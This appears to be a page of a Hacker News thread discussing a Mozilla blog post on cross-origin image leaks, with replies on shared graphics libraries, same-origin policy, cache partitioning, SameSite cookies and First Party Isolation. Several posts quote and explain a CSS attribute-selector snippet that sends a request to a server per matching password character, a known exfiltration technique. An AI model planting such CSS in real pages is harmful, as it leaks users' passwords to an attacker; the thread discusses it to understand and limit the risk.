Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Leaking silhouettes of cross-origin images

blog.mozilla.org

Post reply on HN
Print view View original

11–20 of 44 posts

Re: Leaking silhouettes of cross-origin images

#11

Post by meibo »

jannes wrote: post #4

The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.

WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit.

The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself.

https://trac.webkit.org/wiki/WebKitGTK/Dependencies

Re: Leaking silhouettes of cross-origin images

#12

Post by capitainenemo »

bennettfeely wrote: post #8
antiman0 wrote: post #3

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…

This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possib…

It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.

Re: Leaking silhouettes of cross-origin images

#13

Post by hunter2_ »

andrewla wrote: post #7
arendtio wrote: post #6

In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.

Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…

That sounds quite a bit like the double-keyed cache partitioning that has been in Safari since 2013, Chrome since 2020, and is being considered for Firefox.

e.g.:

https://blog.josephscott.org/2019/10/16/prepare-for-fewer-ca...

https://dev.to/zwacky/time-to-say-goodbye-to-google-fonts-16...

etc. This is not the exact same thing as what you're describing, but I'd say it's along the same trajectory (i.e., there's hope).

Re: Leaking silhouettes of cross-origin images

#14

Post by jopsen »

andrewla wrote: post #7
arendtio wrote: post #6

In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.

Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…

According to MDN SameSite=Lax is default. Isn't that exactly this behavior?

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Se...

Re: Leaking silhouettes of cross-origin images

#15

Post by zenexer »

capitainenemo wrote: post #12
bennettfeely wrote: post #8

Earlier quoted context omitted.

This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possib…

It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.

I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.

Re: Leaking silhouettes of cross-origin images

#16

Post by capitainenemo »

zenexer wrote: post #15
capitainenemo wrote: post #12

Earlier quoted context omitted.

It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.

I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.

Attack scenario would be a website loading CSS that is controllable by someone malicious. This could be due to ad code or custom themes for part of the site. That CSS would include selectors that would trigger different remote image requests for different partial matches on the value of the input. Based upon what remote URLs were triggered, one could reconstruct all or part of a password.

But I get your point. The website should not know the plaintext of your password for an overlap check unless their security practices are really bad. And if they are that bad, hopefully it is a throwaway password anyway. A duplicate check could still be done with hashes, but partial hash leaks are NBD.

Personally, I've had this happen though on password change prompts, which makes me think that the website is storing the value I just entered temporarily in the session. That's still bad even if it isn't being persisted beyond that page post though.

Re: Leaking silhouettes of cross-origin images

#17

Post by gruez »

antiman0 wrote: post #3

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…

Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.

Re: Leaking silhouettes of cross-origin images

#18

Post by andrewla »

jopsen wrote: post #14
andrewla wrote: post #7

Earlier quoted context omitted.

Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…

According to MDN SameSite=Lax is default. Isn't that exactly this behavior? https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Se...

This is voluntary on the cookie-setter's part. There should be no way to override it. Also, it only applies to cookies, which are already covered under the disallow third-party cookie umbrella.

Re: Leaking silhouettes of cross-origin images

#19

Post by andrewla »

Macha wrote: post #9
andrewla wrote: post #7

Earlier quoted context omitted.

Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…

I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?

Neat -- this looks like exactly it. Maybe it's time to make the switchover.

Re: Leaking silhouettes of cross-origin images

#20

Post by the_duke »

Macha wrote: post #9
andrewla wrote: post #7

Earlier quoted context omitted.

Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…

I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?

Exactly. I've used this for over a year now in FF.

It can be a bit annoying with things like recaptcha, and sadly some login systems completely break (like Atlassian SSO), but overall most things work just fine.

Post reply on HN